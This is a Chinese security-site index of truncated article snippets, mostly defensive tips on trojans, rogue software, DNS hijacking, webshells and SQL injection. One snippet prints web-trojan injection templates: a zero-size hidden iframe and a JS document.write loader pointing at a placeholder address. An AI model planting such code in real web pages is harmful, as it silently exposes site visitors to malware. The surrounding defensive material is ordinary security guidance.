如何杜绝iframe挂马
From：7jdg's blog 因为FF(Firefox)不怕IFRAME，于是就拿IE开刀，不知道比尔有没有奖发。我只写了一句代码，就搞定了，哈，痛快。就是IE only（特有的）的CSS中的属性expression，插进去试试，果然那些IFRAME不起作用了。 代码如下： style type="text/css" media="all" id="...
如何清除能突破主动防御的新型木马
病人：我使用的 杀毒软件 有主动防御功能，能拦截 木马 ，可最近我的邮箱账号还是被盗了，为什么会这样? 医生：这个其实也是很正常的，毕竟没有一款杀毒软件是万能的，能够阻止目前所有的 恶意程序 。你的电子信箱被盗很可能是被那种能突破主动防御木马，例如最新的ByShell木...
流氓软件防范篇：预防判断与阻止流氓软件
因为存在着巨大的利益关系，流氓软件大多数都比较低调，会极力地隐藏自己，因此相对而言，杀毒软件及时杀除流氓软件的可能性就大大降低了，这就要求用户要有一定的流氓软件的防护能力，才能使上网更加安全。 预防 防范流氓软件第一步，就是要有安全的上网意识，不要轻易登陆...
解决之道 怎样阻止域名劫持
简单来说，域名劫持就是把原本准备访问某网站的用户，在不知不觉中，劫持到仿冒的网站上，例如用户准备访问某家知名品牌的网上商店，黑客就可以通过域名劫持的手段，把其带到假的网上商店，同时收集用户的ID信息和密码等。 这种犯罪一般是通过DNS服务器的缓存投毒（cache poi...
别让木马烦你：六招关闭自动播放防止病毒
每次把移动硬盘插到USB口就会自动播放，尤其是移动硬盘分了N个区的时候，要手动一个一个的关掉，真是十分的麻烦！怎么样能解决这个问题呢？下面介绍几种关闭移动硬盘或者U盘自动播放的方法供大家参考： 1、SHIFT按键法 这个方法早在Windows98就用过了吧？好像是哦，反正我最...
流氓软件产品篇：选好利器清除流氓软件
主流反流氓软件厂商和部分专业安全厂商，都对流氓软件推出了自己的产品，而且需要说明的是，这些软件似乎成了公益软件，全部是免费的，用户可以随意选择使用。下面我们就看看这些反流氓软件效用。 360安全卫士 点评：是中国第一款专业的反流氓软件，也是功能最全的一款软件...
ASP木马Webshell的安全防范解决办法
注意：本文所讲述之设置方法与环境：适用于Microsoft Windows 2000 Server/Win2003 SERVER IIS5.0/IIS6.0 1、首先我们来看看一般ASP木马、Webshell所利用的ASP组件有那些？我们以海洋木马为列： 〈object runat="server" id="ws" scope="page" classid="clsid:72C24DD5-D70A-...
远离色情吧！互联网反黄完全解决方案
互联网无所不包的内容让它成为了学习知识及开阔视野的最佳途径，但是其中也存在少数包含不健康信息的网站，正是基于这个原因，很多家长不愿意让孩子接触互联网，使孩子们失去了体验网络时代的机会。龙哥近期也陆续收到类似问题的求助信。针对这种情况的普遍性，作者特地为爸...
数据无价！让硬盘不被恶意格式化
方法一：移动外部命令法 防止黑客程序或恶意代码非法格式化、修改硬盘数据可以将有关的DOS命令改名或移动到其他目录中，以后要格式化硬盘时可以再将文件名改回，具体方法是：找到C：\Windows\format.exe文件，将其文件名改为format.txt或移动至其它目录，如果在“我的电脑”...
史上最强悍网页木马大全--网马反击战
网页木马代码大全： 一:框架挂马 iframe src=地址 width=0 height=0/iframe 二:js文件挂马 首先将以下代码 document.write("iframe width='0' height='0' src='地址'/iframe"); 保存为xxx.js， 则JS挂马代码为 script language=javascript src=xxx.js/script 三:js变形加密...
从数据库管理下手 多手段提升网站安全
数据库，网站运营的基础，网站生存的要素，不管是个人用户还是企业用户都非常依赖网站数据库的支持，然而很多别有用心的攻击者也同样非常“看重”网站数据库。 对于个人网站来说，受到建站条件的制约，Access数据库成了广大个人网站站长的首...
3个步骤结束网站恶梦-SQL注入隐患
许多网站程序在编写时，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。 SQL注入是什么? 许多网站程序在编写时，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访...